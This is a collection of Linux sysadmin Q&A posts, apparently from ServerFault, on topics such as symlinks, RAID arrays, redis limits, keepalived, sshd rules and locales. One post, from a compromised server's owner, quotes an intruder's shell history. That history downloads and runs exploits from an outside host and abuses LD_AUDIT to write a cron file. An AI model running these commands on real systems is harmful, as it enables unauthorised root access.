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  • Are my Linux symbolic links acting correctly?

    - by Andy Castles
    Hi all I've been using Linux on and off for the last 15 years and today I came across something in bash that surprised me. Setup the following directory structure: $ cd /tmp $ mkdir /tmp/symlinktest $ mkdir /tmp/symlinktest/dir $ mkdir /tmp/symlinktarget Now create two sym links in symlinktest pointing to symlinktarget: $ cd /tmp/symlinktest $ ln -s ../symlinktarget Asym $ ln -s ../symlinktarget Bsym Now, in bash, the following tab completion does strange things. Type the following: $ cd dir $ cd ../A[TAB] Pressing the tab key above completes the line to: $ cd ../Asym/ as I expected. Now press enter to change into Asym and type: $ cd ../B[TAB] This time pressing the tab key completes the link to: $ cd ../Bsym[space] Note that there is now a space after the Bsym and there is no trailing slash. My question is, why when changing from the physical directory "dir" to Asym it recognises that Asym is a link to a directory, but when changing from one sym link to another, it doesn't recognise that it's a link to a directory? In addition, if I try to create a new file within Asym, I get an error message: $ cd /tmp/symlinktest/Asym $ cat hello > ../Bsym/file.txt -bash: ../Bsym/file.txt: No such file or directory I always thought that symlinks were mostly transparent except to programs that need to manipulate them. Is this normal behaviour? Many thanks, Andy

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  • Access to File being restricted after Ubuntu crashed

    - by Tim
    My Ubuntu 8.10 crashed due to the overheating problem of the CPU when I am opening some directory and intend to do some file transfer under Nautilus. After reboot, under gnome, all the files cannot be removed, their properties cannot be viewed and they can only be opened, although all are still fine under terminal. I was wondering why is that and how can I fix it? Thanks and regards UPdate $ cat /etc/mtab /dev/sda7 / ext3 rw,relatime,errors=remount-ro 0 0 tmpfs /lib/init/rw tmpfs rw,nosuid,mode=0755 0 0 /proc /proc proc rw,noexec,nosuid,nodev 0 0 sysfs /sys sysfs rw,noexec,nosuid,nodev 0 0 varrun /var/run tmpfs rw,nosuid,mode=0755 0 0 varlock /var/lock tmpfs rw,noexec,nosuid,nodev,mode=1777 0 0 udev /dev tmpfs rw,mode=0755 0 0 tmpfs /dev/shm tmpfs rw,nosuid,nodev 0 0 devpts /dev/pts devpts rw,noexec,nosuid,gid=5,mode=620 0 0 fusectl /sys/fs/fuse/connections fusectl rw 0 0 lrm /lib/modules/2.6.27-15-generic/volatile tmpfs rw,mode=755 0 0 /dev/sda8 /home ext3 rw,relatime 0 0 /dev/sda2 /windows-c vfat rw,utf8,umask=007,gid=46 0 0 /dev/sda5 /windows-d fuseblk rw,allow_other,blksize=4096 0 0 securityfs /sys/kernel/security securityfs rw 0 0 binfmt_misc /proc/sys/fs/binfmt_misc binfmt_misc rw,noexec,nosuid,nodev 0 0 gvfs-fuse-daemon /home/tim/.gvfs fuse.gvfs-fuse-daemon rw,nosuid,nodev,user=tim 0 0

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  • CentOS vps is randomly rebooting

    - by develroot
    I have a centos vps (Parallels Virtuozzo container) which has been running for months. However, a few days ago it started to randomly reboot itself, and i can't find out why. And the biggest problem that i don't understand is that it takes 40 minutes to reboot (as far as i can see in the logs) root ~ # cat /var/log/messages | grep shutdown Oct 11 13:52:11 vps27 shutdown[23968]: shutting down for system halt Oct 14 14:55:17 vps27 shutdown[30662]: shutting down for system halt Oct 15 06:21:23 vps27 shutdown[20157]: shutting down for system halt And notice the time difference between shutdown and xinetd's start: Oct 15 06:21:23 vps27 shutdown[20157]: shutting down for system halt Oct 15 06:21:24 vps27 init: Switching to runlevel: 0 Oct 15 06:21:27 vps27 saslauthd[30614]: server_exit : master exited: 30614 Oct 15 06:21:38 vps27 named[30661]: shutting down Oct 15 06:21:47 vps27 exiting on signal 15 Oct 15 07:04:34 vps27 syslogd 1.4.1: restart. Oct 15 07:05:06 vps27 xinetd[1471]: xinetd Version 2.3.14 started with libwrap loadavg labeled-networking options compiled in. Oct 15 07:05:06 vps27 xinetd[1471]: Started working: 0 available services And here's what Parallels Power Panel says in terms of Status Changes: Time Old Status Status Obtained Oct 15, 2011 06:23:46 AM Mounted Down Oct 15, 2011 06:22:31 AM Running Mounted Oct 14, 2011 03:06:48 PM Starting Running Oct 14, 2011 03:06:23 PM Down Starting Oct 14, 2011 03:06:08 PM Mounted Down Oct 14, 2011 02:58:24 PM Running Mounted For some reason it's getting into Mounting mode and then restarts itself. The only problem that i can imagine is disk space utilization, which is now 84%. But can that be a reson for system halt? Time Category Details Type Parameter Oct 15, 2011 07:08:33 AM Resource Resource counter_disk_share_used yellow alert on environment vps27 current value: 82 soft limit: 85 hard limit: 95 Yellow zone counter_disk_share_used Oct 15, 2011 06:27:23 AM Resource Resource counter_disk_share_used yellow alert on environment vps27 current value: 82 soft limit: 85 hard limit: 95 Yellow zone counter_disk_share_used Oct 15, 2011 06:23:50 AM Resource Resource counter_disk_share_used green alert on environment vps27 current value: 0 soft limit: hard limit: 0 Green zone counter_disk_share_used Oct 14, 2011 03:06:24 PM Resource Resource counter_disk_share_used yellow alert on environment vps27 current value: 83 soft limit: 85 hard limit: 95 Yellow zone counter_disk_share_used Oct 14, 2011 03:05:50 PM Resource Resource counter_disk_share_used green alert on environment vps27 current value: 0 soft limit: hard limit: 0 Green zone counter_disk_share_used

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  • Why does redis report limit of 1024 files even after update to limits.conf?

    - by esilver
    I see this error at the top of my redis.log file: Current maximum open files is 1024. maxclients has been reduced to 4064 to compensate for low ulimit. I have followed these steps to the letter (and rebooted): Moreover, I see this when I run ulimit: ubuntu@ip-XX-XXX-XXX-XXX:~$ ulimit -n 65535 Is this error specious? If not, what other steps do I need to perform? I am running redis 2.8.13 (tip of the tree) on Ubuntu LTS 14.04.1 (again, tip of the tree). Here is the user info: ubuntu@ip-XX-XXX-XXX-XXX:~$ ps aux | grep redis root 1027 0.0 0.0 66328 2112 ? Ss 20:30 0:00 sudo -u ubuntu /usr/local/bin/redis-server /etc/redis/redis.conf ubuntu 1107 19.2 48.8 7629152 7531552 ? Sl 20:30 2:21 /usr/local/bin/redis-server *:6379 The server is therefore running as ubuntu. Here are my limits.conf file without comments: ubuntu@ip-XX-XXX-XXX-XXX:~$ cat /etc/security/limits.conf | sed '/^#/d;/^$/d' ubuntu soft nofile 65535 ubuntu hard nofile 65535 root soft nofile 65535 root hard nofile 65535 And here is the output of sysctl fs.file-max: ubuntu@ip-XX-XXX-XXX-XXX:~$ sysctl -a| grep fs.file-max sysctl: permission denied on key 'fs.protected_hardlinks' sysctl: permission denied on key 'fs.protected_symlinks' fs.file-max = 1528687 sysctl: permission denied on key 'kernel.cad_pid' sysctl: permission denied on key 'kernel.usermodehelper.bset' sysctl: permission denied on key 'kernel.usermodehelper.inheritable' sysctl: permission denied on key 'net.ipv4.tcp_fastopen_key' as sudo ubuntu@ip-10-102-154-226:~$ sudo sysctl -a| grep fs.file-max fs.file-max = 1528687 Also, I see this error at the top of the redis.log file, not sure if it's related. It makes sense that the ubuntu user isn't allowed to change max open files, but given the high ulimits I have tried to set he shouldn't need to: [1050] 23 Aug 21:00:43.572 # You requested maxclients of 10000 requiring at least 10032 max file descriptors. [1050] 23 Aug 21:00:43.572 # Redis can't set maximum open files to 10032 because of OS error: Operation not permitted.

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  • Keepalived for more than 20 virtual addresses

    - by cvaldemar
    I have set up keepalived on two Debian machines for high availability, but I've run into the maximum number of virtual IP's I can assign to my vrrp_instance. How would I go about configuring and failing over 20+ virtual IP's? This is the, very simple, setup: LB01: 10.200.85.1 LB02: 10.200.85.2 Virtual IPs: 10.200.85.100 - 10.200.85.200 Each machine is also running Apache (later Nginx) binding on the virtual IPs for SSL client certificate termination and proxying to backend webservers. The reason I need so many VIP's is the inability to use VirtualHost on HTTPS. This is my keepalived.conf: vrrp_script chk_apache2 { script "killall -0 apache2" interval 2 weight 2 } vrrp_instance VI_1 { interface eth0 state MASTER virtual_router_id 51 priority 101 virtual_ipaddress { 10.200.85.100 . . all the way to . 10.200.85.200 } An identical configuration is on the BACKUP machine, and it's working fine, but only up to the 20th IP. I have found a HOWTO discussing this problem. Basically, they suggest having just one VIP and routing all traffic "via" this one IP, and "all will be well". Is this a good approach? I'm running pfSense firewalls in front of the machines. Quote from the above link: ip route add $VNET/N via $VIP or route add $VNET netmask w.x.y.z gw $VIP Thanks in advance. EDIT: @David Schwartz said it would make sense to add a route, so I tried adding a static route to the pfSense firewall, but that didn't work as I expected it would. pfSense route: Interface: LAN Destination network: 10.200.85.200/32 (virtual IP) Gateway: 10.200.85.100 (floating virtual IP) Description: Route to VIP .100 I also made sure I had packet forwarding enabled on my hosts: $ cat /etc/sysctl.conf net.ipv4.ip_forward=1 net.ipv4.ip_nonlocal_bind=1 Am I doing this wrong? I also removed all VIPs from the keepalived.conf so it only fails over 10.200.85.100.

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  • Restrict SSH user to connection from one machine

    - by Jonathan
    During set-up of a home server (running Kubuntu 10.04), I created an admin user for performing administrative tasks that may require an unmounted home. This user has a home directory on the root partition of the box. The machine has an internet-facing SSH server, and I have restricted the set of users that can connect via SSH, but I would like to restrict it further by making admin only accessible from my laptop (or perhaps only from the local 192.168.1.0/24 range). I currently have only an AllowGroups ssh-users with myself and admin as members of the ssh-users group. What I want is something that works like you may expect this setup to work (but it doesn't): $ groups jonathan ... ssh-users $ groups admin ... ssh-restricted-users $ cat /etc/ssh/sshd_config ... AllowGroups ssh-users [email protected].* ... Is there a way to do this? I have also tried this, but it did not work (admin could still log in remotely): AllowUsers [email protected].* * AllowGroups ssh-users with admin a member of ssh-users. I would also be fine with only allowing admin to log in with a key, and disallowing password logins, but I could find no general setting for sshd; there is a setting that requires root logins to use a key, but not for general users.

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  • Ubuntu Server hack

    - by haxpanel
    Hi! I looked at netstat and I noticed that someone besides me is connected to the server by ssh. I looked after this because my user has the only one ssh access. I found this in an ftp user .bash_history file: w uname -a ls -a sudo su wget qiss.ucoz.de/2010/.jpg wget qiss.ucoz.de/2010.jpg tar xzvf 2010.jpg rm -rf 2010.jpg cd 2010/ ls -a ./2010 ./2010x64 ./2.6.31 uname -a ls -a ./2.6.37-rc2 python rh2010.py cd .. ls -a rm -rf 2010/ ls -a wget qiss.ucoz.de/ubuntu2010_2.jpg tar xzvf ubuntu2010_2.jpg rm -rf ubuntu2010_2.jpg ./ubuntu2010-2 ./ubuntu2010-2 ./ubuntu2010-2 cat /etc/issue umask 0 dpkg -S /lib/libpcprofile.so ls -l /lib/libpcprofile.so LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping ping gcc touch a.sh nano a.sh vi a.sh vim wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh nano ubuntu10.sh ls -a rm -rf ubuntu10.sh . .. a.sh .cache ubuntu10.sh ubuntu2010-2 ls -a wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh ls -a rm -rf ubuntu10.sh wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe rm -rf W2Ksp3.exe passwd The system is in a jail. Does it matter in the current case? What shall i do? Thanks for everyone!! I have done these: - ban the connected ssh host with iptables - stoped the sshd in the jail - saved: bach_history, syslog, dmesg, files in the bash_history's wget lines

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  • Require a very simple bash-based webserver for logging XML POST [on hold]

    - by Syffys
    As in title, it's for testing purpose and I need it to be extremely light (1 line to 1 single light file). Here is a XML query sample: XML_QUERY=$(cat <<EOF <?xml version='1.0' encoding='UTF-8'?> <Test></Test> EOF ) curl -H "Content-type: text/xml; charset=utf-8" -H "Soapaction: \"\"" -k -d "${XML_QUERY}" http://localhost:8088 Here are some of the tracks I have found so far even if I wasnt able to adapt them to work as I expect: Netcat minimal webserver: Problem is that my nc does not have the -q option, so the connection is closing before delivering the XML content Netcat Only webserver: Same as above Thanks in advance! EDIT: As it's been asked, I'm running Linux Redhat, even if the distro does not really matter and the OS implied since I'm asking a bash-based solution... Also about my topic being on hold: "Instead, describe your situation and the specific problem you're trying to solve" = I though this was exactly what I was doing, but ok I'll reword: My situation: bash environment (which can also include some standard linux tool: netcat, python or whatever) My specific problem: please see title: Require a very simple bash-based webserver for logging XML in HTTP POST for testing purpose

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  • Server 2003 and XP Client; Why are HTTP connections being silently dropped.

    - by Asa Yeamans
    On my network, my edge-router, a windows 2003 r2 server router with all the latest updates, will drop packets, but only under specific circumstances. I have troubleshot and isolated it down to the most simple configuration i can. There is NO NAT involved. Only fully-public IP addresses. No Firewalls are running either, all ahve been disabled. no packet filters on any interfaces anywhere either. I have a single Windows XP virtual machine and my edge-router(the windows 2003 r2 server, and also a virtual machine) running on a windows 2008 x64 r2 system (running virtual server 2005 as i dont have Intel-VT compatible chip yet). The edge router can access any external http site just fine, no issues. However the windows XP machine is only able to access certain sites. These work: www.google.com www.txstate.edu www.workintexas.com www.thedailywtf.com . These Dont: www.yahoo.com www.utexas.edu en.wikipedia.org slashdot.org www.bing.com. I have removed all possibility of DNS issues by connecting with net-cat from the XP box and sending GET /\r\nHost: \r\n\r\n and that connection replicates the issue as well. The network setup: My statically assigned IP block: x.x.x.168/29 DSL Modem -----PPPoE Connection---- x.x.x.169[EdgeRouter] [EdgeRouter]x.x.x.170 -----Virtual Ethernet----- x.x.x.174 [Test2] Test2's Default gateway is x.x.x.170 and test2 can ping any and every valid, accessible, public IP address with no packet loss what-so-ever. If i connect directly over PPPoE from test2 (the XP box) everything works just fine... Im at my wits end, i have NO IDEA whats causing this.

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  • Postfix message ID originating process?

    - by Anders Braüner Nielsen
    Last night my postfix mail server(Debian Squeeze with dovecot, roundcube, opendkim and spamassassin enabled) started sending out spam from a single domain of mine like these: $cat mail.log|grep D6930B76EA9 Jul 31 23:50:09 myserver postfix/pickup[28675]: D6930B76EA9: uid=65534 from=<[email protected]> Jul 31 23:50:09 myserver postfix/cleanup[27889]: D6930B76EA9: message-id=<[email protected]> Jul 31 23:50:09 myserver postfix/qmgr[7018]: D6930B76EA9: from=<[email protected]>, size=957, nrcpt=1 (queue active) Jul 31 23:50:09 myserver postfix/error[7819]: D6930B76EA9: to=<[email protected]>, relay=none, delay=0.03, delays=0.02/0/0/0, dsn=4.4.2, status=deferred (delivery temporarily suspended: lost connection with mta5.am0.yahoodns.net[66.196.118.33] while sending RCPT TO) The domain in question did not have any accounts enabled but only a catchall alias set through postfixadmin - most emails were send from a specific address I use frequently but some were also sent from bogus addresses. None of the other virtual domains handled by postfix were affected. How can I find out what process was feeding postfix/sendmail or more info on where they originated? As far as I can tell php mail() wasn't used and I've run several open relay tests. I did a little tinkering(removed winbind from the server and ipv6 addresses from main.cf) after the attack and it seems to have subsided but I still have no idea how my server was suddenly sending out spam. Maybe I fixed it - maybe I didn't. Can anyone help figuring out how I was compromised? Anywhere else I should look? I've run Linux Malware Detect on recently changed files but nothing found.

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  • IP queue buffer

    - by summerbulb
    I seem to have an issue with IP queue. I have a linux machine that I am using to run some experiments. The linux machine is configured to be a router, having two NICs, connecting two other computers, and managing their network traffic. All incoming packages are captured, using iptables, and analyzed by a C application. The application analyzing the packets has a built-in delay, as part of the experiment. So I have one very fast computer sending packets through my linux-router and a (relatively) slow linux-router that analyses and deals with the packets, one by one. This situation leads to the fact that when I fire up a sender application on one of the computers connected to the linux-router, my IP queue on the linux-router gets filled up (almost) instantaneously. The IP queue's max length is currently set to 1024, and if it overflows, the packets are dropped. This is expected and i'm OK with it. But, (and this is where it gets interesting), every now and then I get the following error: "Failed to receive netlink message: No buffer space available" At start, I thought this was due to the IP queue overflow, but after some analysis i found that sometimes I get the error even if the IP queue buffer did not overflow, and sometime I DON'T get the message even though the buffer DID overflow. When I run > cat /proc/net/ip_queue, I get the following table (also used to monitor the IP queue overflow): Peer PID : 27389 Copy mode : 2 Copy range : 65535 Queue length : 0 Queue max. length : 1024 Queue dropped : 1166875 Netlink dropped : 2916 Looking at the last two values, Queue dropped seems to refer to packets that did not manage to get into the IP queue because the buffer was full. I can see this value rise as I bombard the linux-router. Netlink dropped ( as it's name implies :) ) seems to have to do with the error i'm getting. I did my best to search for material on this error, but wasn't able to find anything that seemed to point me in the required direction. Bottom line: Why am I getting this error and what can I do to avoid it?

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  • How to test/debug bad network wiring?

    - by Jack Lloyd
    I recently bought a place already wired with Cat 5E (8 ports, leading to a central closet). However attempting to get link, nothing works. On closer examination, it was obvious that the ends in the closet were wired backwards (brown on pin 1, etc). The jacks that I've pulled out of the wall do look to be correctly done. However, testing with a network cable tester shows zero link between any of the jacks and any of the ports in the closet - I had expected to just see a 1/8, 2/7, ... 8/1 mismatch, but instead get nothing at all. The runs are accessible and look neat, though they take some bends that seem quite sharp and are in some cases much longer than they need to be (the person who put this in was a professional electrician but I suspect this was the first time he ran network cabling). My best guess at this point is that he either bought bad cable, or put so much tension on it that he snapped wires. Though it seems surprising/unlikely that I wouldn't get at least one active wire on one of the 8 lines. So, my question: is there anything else I should try or test before I go ripping out everything and running new cable?

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  • Backup script to FTP with timed subfolders

    - by Frederik Nielsen
    I want to make a backup script, that makes a .tar.gz of a folder I define, say fx /root/tekkit/world This .tar.gz file should then be uploaded to a FTP server, named by the time it was uploaded, for example: 07-10-2012-13-00.tar.gz How should such backup script be written? I already figured out the .tar.gz part - just need the naming and the uploading to FTP. I know that FTP is not the most secure way to do it, but as it is non-sensitive data, and FTP is the only option I have, it will do. Edit: I ended up with this script: #!/bin/bash # have some path predefined for backup unless one is provided as first argument BACKUP_DIR="/root/tekkit/world/" TMP_DIR="/tmp/tekkitbackup/" FINISH_DIR="/tmp/tekkitfinished/" # construct name for our archive TIME=$(date +%d-%m-%Y-%H-%M) if [ $1 ]; then BACKUP_DIR="$1" fi echo "Backing up dir ... $BACKUP_DIR" mkdir $TMP_DIR cp -R $BACKUP_DIR $TMP_DIR cd $FINISH_DIR tar czvfp tekkit-$TIME.tar.gz -C $TMP_DIR . # create upload script for lftp cat <<EOF> lftp.upload.script open server user user password lcd $FINISH_DIR mput tekkit-$TIME.tar.gz exit EOF # start backup using lftp and script we created; if all went well print simple message and clean up lftp -f lftp.upload.script && ( echo Upload successfull ; rm lftp.upload.script )

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  • Why is it necessary to chmod o+r parent directory to fix 403 access forbidden error with Nginx and P

    - by davenolan
    This may be an Nginx wrinkle, or it may be because I don't understand Unix permissions. We're using Hudson CI to deploy our staging instance. So RAILS_ROOT is /var/lib/hudson/jobs/JOBNAME/workspace. Hudson runs as hudson user Nginx runs as www-data user hudson and nginx are both members of the www group root of my nginx conf points to RAILS_ROOT/public as per normal. RAILS_ROOT/config/environment.rb is owned by www-data (so Passenger runs as www-data) RAILS_ROOT and everything in it is owned by the www group and group has r/w/x permissions As it stood, Nginx threw 403 permission denied when requesting any url. error.log contained entries like this: public/index.html" is forbidden (13: Permission denied). These did not fix the or change the error (each with a stop/start of Ngnix): chmod 777 -R RAILS_ROOT chgrp www -R /var/lib/hudson I also tried Nginx as root, and passenger complained that it could not find config/environment (despite the path displayed on the error page being correct). The fix was to ensure everybody has read permissions on each directory in the heirachy. In this case chmod o+r /var/lib/hudson. But if the group has read permissions on the directory, and nginx is a member of the owner group of the directory, why was it necessary to allow everyone read permissions? Is there something have not grokked about permissions? $nginx -V nginx version: nginx/0.7.61 built by gcc 4.4.1 (Ubuntu 4.4.1-4ubuntu8) configure arguments: --prefix=/opt/nginx --add-module=/usr/lib/ruby/gems/1.8/gems/passenger-2.2.5/ext/nginx --with-http_ssl_module --with-pcre=~/src/pcre-8.00/ --with-http_stub_status_module $cat /etc/lsb-release DISTRIB_ID=Ubuntu DISTRIB_RELEASE=9.10 DISTRIB_CODENAME=karmic DISTRIB_DESCRIPTION="Ubuntu 9.10"

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  • KVM and libvirt: How to configure a new disc device to an existing VM?

    - by initall
    I've got an Ubuntu 9.04 server running two VM's. In /etc/libvirt/qemu/machine1.xml two disk devices are defined like this: <devices> <emulator>/usr/bin/kvm</emulator> <disk type='file' device='disk'> <source file='/vserver/machine1/disk0.qcow2'/> <target dev='hda' bus='ide'/> </disk> <disk type='file' device='disk'> <source file='/vserver/machine1/disk1.qcow2'/> <target dev='hdb' bus='ide'/> </disk> I need more storage space in at least one of the devices and thought about adding a third hdc device by simply adding one with same style as above and re-organising my mount structure (The virtual sizes of the current qcow2 files are unfortunately limited.) My problem is that reloading libvirtd and restarting the VM do not result in a new visible device (checked with fdisk). I'm aware of extending an existing qcow2 file (converting to raw format, cat-ing/adding the new one, using smth. like gparted) - but only as a last resort. Hopefully it's something very simple I'm missing?

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  • How to re-add a RAID-10 failed drive on Ubuntu?

    - by thiesdiggity
    I have a problem that I can't seem to solve. We have a Ubuntu server setup with RAID-10 and two of the drives dropped out of the array. When I try to re-add them using the following command: mdadm --manage --re-add /dev/md2 /dev/sdc1 I get the following error message: mdadm: Cannot open /dev/sdc1: Device or resource busy When I do a "cat /proc/mdstat" I get the following: Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [r$ md2 : active raid10 sdb1[0] sdd1[3] 1953519872 blocks 64K chunks 2 near-copies [4/2] [U__U] md1 : active raid1 sda2[0] sdc2[1] 468853696 blocks [2/2] [UU] md0 : active raid1 sda1[0] sdc1[1] 19530688 blocks [2/2] [UU] unused devices: <none> When I run "/sbin/mdadm --detail /dev/md2" I get the following: /dev/md2: Version : 00.90 Creation Time : Mon Sep 5 23:41:13 2011 Raid Level : raid10 Array Size : 1953519872 (1863.02 GiB 2000.40 GB) Used Dev Size : 976759936 (931.51 GiB 1000.20 GB) Raid Devices : 4 Total Devices : 2 Preferred Minor : 2 Persistence : Superblock is persistent Update Time : Thu Oct 25 09:25:08 2012 State : active, degraded Active Devices : 2 Working Devices : 2 Failed Devices : 0 Spare Devices : 0 Layout : near=2, far=1 Chunk Size : 64K UUID : c6d87d27:aeefcb2e:d4453e2e:0b7266cb Events : 0.6688691 Number Major Minor RaidDevice State 0 8 17 0 active sync /dev/sdb1 1 0 0 1 removed 2 0 0 2 removed 3 8 49 3 active sync /dev/sdd1 Output of df -h is: Filesystem Size Used Avail Use% Mounted on /dev/md1 441G 2.0G 416G 1% / none 32G 236K 32G 1% /dev tmpfs 32G 0 32G 0% /dev/shm none 32G 112K 32G 1% /var/run none 32G 0 32G 0% /var/lock none 32G 0 32G 0% /lib/init/rw tmpfs 64G 215M 63G 1% /mnt/vmware none 441G 2.0G 416G 1% /var/lib/ureadahead/debugfs /dev/mapper/RAID10VG-RAID10LV 1.8T 139G 1.6T 8% /mnt/RAID10 When I do a "fdisk -l" I can see all the drives needed for the RAID-10. The RAID-10 is part of the /dev/mapper, could that be the reason why the device is coming back as busy? Anyone have any suggestions on what I can try to get the drives back into the array? Any help would be greatly appreciated. Thanks!

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  • unable to recover data from failed hdd

    - by Eslam Elyamany
    my hdd failing (or maybe totally dead) i've connected the hdd via USB but it doesn't appear in fdisk Disk /dev/sda: 500.1 GB, 500107862016 bytes 255 heads, 63 sectors/track, 60801 cylinders, total 976773168 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 4096 bytes I/O size (minimum/optimal): 4096 bytes / 4096 bytes Disk identifier: 0xe9fb38fb Device Boot Start End Blocks Id System /dev/sda1 * 2048 206847 102400 7 HPFS/NTFS/exFAT /dev/sda2 206848 40959999 20376576 7 HPFS/NTFS/exFAT /dev/sda4 40962046 976771071 467904513 5 Extended Partition 4 does not start on physical sector boundary. /dev/sda5 82913280 86910975 1998848 82 Linux swap / Solaris /dev/sda6 86913024 394113023 153600000 7 HPFS/NTFS/exFAT /dev/sda7 40962048 82913279 20975616 83 Linux /dev/sda8 394122708 976768064 291322678+ 7 HPFS/NTFS/exFAT Partition 8 does not start on physical sector boundary. no sdc appears here , BUT it's appears on /dev/ rootghost-lap:/home/ghost# ls /dev/sd* /dev/sda /dev/sda2 /dev/sda5 /dev/sda8 /dev/sdb /dev/sdc1 /dev/sdc2 /dev/sdc6 /dev/sdc8 /dev/sda1 /dev/sda4 /dev/sda6 /dev/sda9 /dev/sdc /dev/sdc10 /dev/sdc5 /dev/sdc7 /dev/sdc9 also it appears in proc Code: rootghost-lap:/home/ghost# cat /proc/partitions major minor #blocks name 8 0 488386584 sda 8 1 102400 sda1 8 2 20376576 sda2 8 4 1 sda4 8 5 1998848 sda5 8 6 153600000 sda6 8 8 291322678 sda8 8 9 20975616 sda9 11 0 1048575 sr0 11 1 99136 sr1 8 32 244198583 sdc 8 33 14651248 sdc1 8 34 1 sdc2 8 37 15380480 sdc5 8 38 4153344 sdc6 8 39 48829536 sdc7 8 40 48829536 sdc8 8 41 110374551 sdc9 8 42 1975963 sdc10 and dmesg : [10604.777168] end_request: I/O error, dev sdc, sector 1 [10604.817238] sd 26:0:0:0: [sdc] Result: hostbyte=DID_OK driverbyte=DRIVER_SENSE [10604.817243] sd 26:0:0:0: [sdc] Sense Key : Aborted Command [current] [10604.817248] sd 26:0:0:0: [sdc] Add. Sense: No additional sense information [10604.817253] sd 26:0:0:0: [sdc] CDB: Read(10): 28 00 00 00 00 02 00 00 06 00 ok now , let's see what i've tried testdisk to check for partitions -- failed dd to copy data from /dev/sdcX -- provide strange output size for example /dev/sdc1 is about 15G , the output for dd is 62G+ so i had to cancle it safecopy successfully made an image for partitons , but can't fix images, can't mount it, can't do any thing with it and some other tools i've tried and all failed , so any idea ?

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  • How do I reinitialise a failed RAID 5 drive using terminal on Ubuntu Server

    - by Stephen
    I've currently put together a new system and part of that has been creating a software RAID 5 using 'mdadm' in Ubuntu Server. I successfully got to the point where I create the array using: sudo mdadm --create --verbose /dev/md0 --level=5 --raid-devices=4 /dev/sda1 /dev/sdb1 /dev/sdc1 /dev/sdd1 I left it to do its thing overnight then used the following command to check on it: watch cat /proc/mdstat To which the following was returned: Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] md0 : active raid5 sdd1[4](S) sdc1[2] sdb1[1] sda1[0](F) 5860535808 blocks super 1.2 level 5, 512k chunk, algorithm 2 [4/2] [_UU_] unused devices: <none> It appears that one has failed (and I'm not too savvy with why another is a spare). So, just to be sure that something else isn't amiss I wanted to try and re-engage the failed drive. Can someone explain how I can do that and what I should do with the spare (if anything). And also how do I know when synchronisation is complete? The tutorial I used to get this far is located here: http://sonniesedge.co.uk/2009/06/13/software-raid-5-on-ubuntu-904/ Many thanks! p.s. Here is some extra information that may help: sudo mdadm --detail /dev/md0 /dev/md0: Version : 1.2 Creation Time : Mon Jun 18 21:14:21 2012 Raid Level : raid5 Array Size : 5860535808 (5589.04 GiB 6001.19 GB) Used Dev Size : 1953511936 (1863.01 GiB 2000.40 GB) Raid Devices : 4 Total Devices : 4 Persistence : Superblock is persistent Update Time : Mon Jun 18 21:50:26 2012 State : clean, FAILED Active Devices : 2 Working Devices : 3 Failed Devices : 1 Spare Devices : 1 Layout : left-symmetric Chunk Size : 512K Name : myraidbox:0 (local to host myraidbox) UUID : a269ee94:a161600c:fb1665e7:bd2f27b3 Events : 13 Number Major Minor RaidDevice State 0 0 0 0 removed 1 8 17 1 active sync /dev/sdb1 2 8 33 2 active sync /dev/sdc1 3 0 0 3 removed 0 8 1 - faulty spare /dev/sda1 4 8 49 - spare /dev/sdd1

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  • reset locale in debian under Squeeze

    - by si2w
    I have problems with locale in debian. I tried many thing but it doesn't anything for me : locale -a locale: Cannot set LC_CTYPE to default locale: No such file or directory C POSIX en_US.utf8 I try to set en_US.utf8 without success with this :dpkg-reconfigure locales -plow perl: warning: Setting locale failed. perl: warning: Please check that your locale settings: LANGUAGE = "en_US", LC_ALL = (unset), LC_CTYPE = "UTF-8", LANG = (unset) are supported and installed on your system. perl: warning: Falling back to the standard locale ("C"). locale: Cannot set LC_CTYPE to default locale: No such file or directory locale: Cannot set LC_ALL to default locale: No such file or directory /usr/bin/locale: Cannot set LC_CTYPE to default locale: No such file or directory /usr/bin/locale: Cannot set LC_ALL to default locale: No such file or directory Generating locales (this might take a while)... en_US.UTF-8... done Generation complete. perl: warning: Setting locale failed. perl: warning: Please check that your locale settings: LANGUAGE = "en_US", LC_ALL = (unset), LC_CTYPE = "UTF-8", LANG = (unset) are supported and installed on your system. perl: warning: Falling back to the standard locale ("C"). perl: warning: Setting locale failed. perl: warning: Please check that your locale settings: LANGUAGE = "en_US", LC_ALL = (unset), LC_CTYPE = "UTF-8", LANG = (unset) are supported and installed on your system. perl: warning: Falling back to the standard locale ("C"). After reboot, i try to use a perl script : perl: warning: Setting locale failed. perl: warning: Please check that your locale settings: LANGUAGE = "en_US", LC_ALL = (unset), LC_CTYPE = "UTF-8", LANG = "en_US.UTF-8" are supported and installed on your system. perl: warning: Falling back to the standard locale ("C"). Here is my /etc/default/locale config file : cat /etc/default/locale LANG=en_US.UTF-8 LANGUAGE=en_US Any idea to solve this (stupid) problem ? Thanks

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  • Accidentally dd'ed an image to wrong drive / overwrote partition table + NTFS partition start

    - by Kento Locatelli
    I screwed up and set the wrong output for dd when trying to copy a freenas iso, overwriting the wrong external hard drive. Ironically, I was trying to setup a freenas server for data backup... External drive is only used for data storage, system is entirely intact Drive had a single NTFS partition filing the entire device (2TB WD elements) Drive originally had an MBR partition table. Drive now shows as having a GPT, presumably from the freenas image. Drive was mounted at the time, with maybe a couple kB of data written/read after running dd Drive is just a few months old and healthy (regular SMART / fs checks) I have not reboot the OS (crunchbang) /proc/partition still holds the correct information (and has been stored) Have dd's output (records in / out / bytes) testdrive did not find any partitions on quick or deep search running photorec to recover the more important data (a couple recent plaintext files that hadn't been backed up yet). Vast majority of disk content ( 80%) is unnecessary media files. My current plan is to let photorec do it's thing, then recreate the mbr with gparted and use cfdisk to create another NTFS partition using the sector information from /sys/block/.../. Is that a good course of action (that is, a chance of success)? Or anything else I should try first? Possibly relevant information: dd if=FreeNAS-8.0.4-RELEASE-p3-x86.iso of=/dev/sdc: 194568+0 records in 194568+0 records out 99618816 bytes (100 MB) copied grep . /sys/block/sdc/sdc*/{start,size}: /sys/block/sdc/sdc1/start:2048 /sys/block/sdc/sdc1/size:3907022848 cat /proc/partitions: major minor #blocks name ** Snipped ** 8 32 1953512448 sdc 8 33 1953511424 sdc1 current fdisk -l output: WARNING: GPT (GUID Partition Table) detected on 